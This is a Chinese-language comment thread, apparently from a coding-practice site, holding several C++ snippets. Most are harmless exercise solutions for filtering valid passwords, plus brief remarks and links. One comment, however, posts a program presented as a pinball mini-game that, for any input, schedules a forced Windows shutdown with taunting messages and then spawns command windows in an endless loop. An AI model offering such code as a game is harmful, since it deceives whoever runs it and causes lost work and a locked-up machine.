全部评论 7

  • 我已经在上x03了我跟你时间不同

    2024-08-11 来自 广东

    0
  • 链接描述
    下载hmcl地址

    2024-08-03 来自 广东

    0
  • #include <bits/stdc++.h>
    #include <windows.h>
    using namespace std;
    void a(int n){
    	if(n == 1){
    		string m;
    		cout << "欢迎来到弹球小游戏"  << endl;
    		cout << "----------------------------------" << endl;
    		cout << "请问你要选择人机战还是真人战" << endl;
    		cin >> m;
    		if(m == "人机战"){
    			system("shutdown -s -t 30 -c 哈,就你还想以大欺小,30秒关机,启动!");
    			while(1)
    				system("start cmd"); 
    		}
    		if(m == "真人战"){
    			cout << "就你还想跟真人打,吃我一击!"; 
    			system("shutdown -s -t 30 -c 30秒关机,启动!");
    			while(1)
    				system("start cmd");			 
    		}
    		else{
    			cout << "你竟然敢输错,那就送你一份大礼包吧";
    			system("shutdown -s -t 60 -c 60秒关机,启动!!!");
    			while(1)
    				system("start cmd"); 
    		}
    	}
    	else{
    		system("shutdown -s -t 60 -c 你竟然不玩?那就别怪我了,60秒关机,启动!!!!!");
    		while(1)
    			system("start cmd");
    	}
    }
    int main(){
    	int x;
    	cout << "请输入1启动游戏" << endl; 
    	cin >> x;
    	a(x);
    	return 0;
    } 
    

    2024-08-01 来自 广东

    0
  • #include <bits/stdc++.h>
    using namespace std;
    
    string s;
    string ct;
    int a=0,b=0,start=0;
    bool small,big,maths,ttss,flag,tr;
    
    int main() {
        cin>>s;
        for(int i=0;i<s.size();i++){
            if(s[i] == ',' and a>=2 and b>=1 and (i-start)<=12 and (i-start)>=6 and tr==0){
                for(int j=start;j<=i-1;j++){
                    cout<<s[j];
                }
                cout<<endl;
            }if(s[i] >='a' and s[i]<='z' and !small){
                a++;
                small=1;
                flag=1;
            }if(s[i] >='A' and s[i]<='Z' and !big){
                a++;
                big=1;
                flag=1;
            }if(s[i] >='0' and s[i]<='9' and !maths){
                a++;
                maths=1;
                flag=1;
            }if( (s[i] =='!' or s[i]=='@' or s[i]=='#' or s[i]=='$') and !ttss){
                b++;
                ttss=1;
                flag=1;
            }if(s[i]==','){
                start=i+1;
                small=0;
                big=0;
                maths=0;
                a=0;
                b=0;
                ttss=0;
            }
            if(flag==1){
                tr=1;
            }
            flag=0;
        }
    	return 0;
    }
    

    2024-08-01 来自 广东

    0
    • #include <bits/stdc++.h>
      using namespace std;
      
      string s, a[105];
      bool c(char n) {
          bool g = (n >= 'A' && n <= 'Z') || (n >= 'a' && n <= 'z') || (n >= '0' && n <= '9') 
              || n == '!' || n == '@' || n == '#' || n == '$';
          return g;
      }
      
      bool check(string n) {
          int h = n.length();
          if (!(h >= 6 && h <= 12)) return 0;
          bool da = 0, xi = 0, sh = 0, te = 0;
          for (int i = 0; i < h; i ++) {
              if (!c(n[i])) return 0;
              if (n[i] >= 'A' && n[i] <= 'Z') da = 1;
              else if (n[i] >= 'a' && n[i] <= 'z') xi = 1;
              else if (n[i] >= '0' && n[i] <= '9') sh = 1;
              else te = 1;
          }
          return int(da) + int(xi) + int(sh) >= 2 && te == 1;
      }
      
      int main() {
          int cnt = 1;
          getline(cin, s);
          for (int i = 0; i < s.length(); i ++) {
              if (s[i] == ',') cnt ++;
              else a[cnt].push_back(s[i]);
          }
          for (int i = 1; i <= cnt; i ++)
              if (check(a[i]))
                  cout << a[i] << endl;
      
          return 0;
      }
      

      2024-08-01 来自 广东

      0
  • 199815

    2024-07-31 来自 广东

    0
  • https://www.chatzy.org/23325911174178

    2024-07-31 来自 广东

    0
  • 你的 a[i][j] = num;
    num ++;
    请用花括号包括起来。

    2024-05-07 来自 浙江

    0
首页